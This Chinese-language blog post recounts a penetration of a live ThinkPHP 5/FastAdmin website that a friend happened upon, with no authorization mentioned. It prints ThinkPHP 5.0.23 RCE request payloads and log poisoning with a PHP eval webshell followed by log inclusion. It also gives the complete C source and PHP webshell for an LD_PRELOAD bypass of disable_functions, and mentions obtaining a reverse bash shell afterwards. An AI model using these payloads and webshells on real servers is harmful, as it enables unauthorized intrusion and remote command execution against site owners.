pho3n1x
- 关注

前言
这是一个别人在摸鱼时摸到的一个站,他发现有个洞但是始终无法利用,于是求助于我,那么我就浅浅渗透一下吧!
前期得到信息有:thinkphp5,有tp5_rce漏洞,但是phpinfo显示有问题,命令执行有问题无法写入shell,猜测有防火墙
信息收集
他并没有对各种信息进行前期的收集,终究还是把重担丢给了老实人。
这里为了避免动静太大于是直接使用在线平台进行一波端口扫描(主要是不想暴露,也不想等),这里使用的潮汐指纹,有意义的内容并不多
这里发现了CDN存在,可是庆幸的是这CDN没啥用,并不具备防御能力。
Thinkphp实锤,并且是改源的fastadmin,那么就不需要对目录进行爆破了.
端口开放就是那几个端口,都检测过了没用利用空间
使用tp漏洞扫描工具进行漏洞探测
发现了存在ThinkPHP 5.0.23 RCE,通过payload进入测试页面查看phpinfo内容,获得更多信息用于进一步测试,同时验证其言论的真实性
这可能就是其说的phpinfo不完整,但是这其实是phpinfo内部参数导致的,应该是测试的payload并未看懂导致的,将参数设置为0即可
获取disable_functions如下:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
开始测试防火墙,写入一段极具攻击性的复杂payload(具体借鉴sqlmap的防火墙测试),但是和网址瞎写的结果是一样的,如下:
初步判断,防火墙并不存在,那么其判断无法进行漏洞利用的原因估计是命令执行函数全部禁用,然后就判断防火墙存在,ok,信息收集阶段结束。
漏洞利用
这里禁用了所有的命令执行函数因此普通的利用方式并不可行,那么可以利用日志包含
通过报错将其写入日志
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=<?php @eval($_POST['123']); ?>
然后利用think\__include_file进行日志包含
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202302/3.log&123=phpinfo();
如果使用open_basedir限制了包含目录,导致日志包含不了的话我还有后手的,详情请见下面的csdn文章,我就不在此演示了,
https://blog.csdn.net/qq_39495209/article/details/111934908
那么就可以利用蚁剑试试连接然后利用蚁剑的插件进行绕过
很遗憾绕过disable_function插件失败了,虽然不知道是不是因为我没更新哈
产生的还是失败了,还得我来把垃圾文件删了,麻烦死了
disabled_function绕过
虽然蚁剑的绕过失败了,但是经过我对收集的信息的判断,LD_PRELOAD是绝对可以利用的,因为putenv函数并未被禁用,有些开发者自己鼓捣了一些非权威危险函数列表,比如system、shell_exec、exec、passthru、phpinfo等,但是并没有绝对的作用的其实就是一个黑名单,搞web安全的都知道,凡是黑名单都存在被绕过的可能,尤其php又是一门这么灵活的语言再加之和其它应用结合的情况下,绕过的可能性更加大了。
这里有一篇文章讲述了4种disabled_function绕过手段
(https://www.freebuf.com/articles/web/192052.html)
1.攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞 2.寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec() 3.mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制 4.利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果
这里利用到的是最后一种使用LD_PRELOAD绕过disable_functions
具体原理可见https://www.meetsec.cn/index.php/archives/44/(讲得非常好,字字珠玑)
这里就只展示利用了通过编写动态库达到对php进行动态链接库劫持
编写动态链接库
bypass_disablefunc.c
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } // executive command system(cmdline); }
通过编译命令到linux上编译出来,用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so:
要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。
编写php小马劫持链接库
<?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path); ?>
bypass_disablefunc.php 提供三个 GET 参数。
1. cmd 参数,待执行的系统命令(如 pwd); 2. outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点; 3. sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。此外,bypass_disablefunc.php 拼接命令和输出路径成为完整的命令行,所以你不用在 cmd 参数中重定向了: $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
编译完成,文件如下:
成功绕过
将这些文件放在同目录做相对引用即可
然后访问
http://x.x.x.x/bypass.php?cmd=id&outpath=/tmp/test&sopath=bypass_disablefunc_x64.so
后渗透
反弹bash
反弹bash,通过写sh文件并通过上面写入的php小马进行执行得到bash.
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)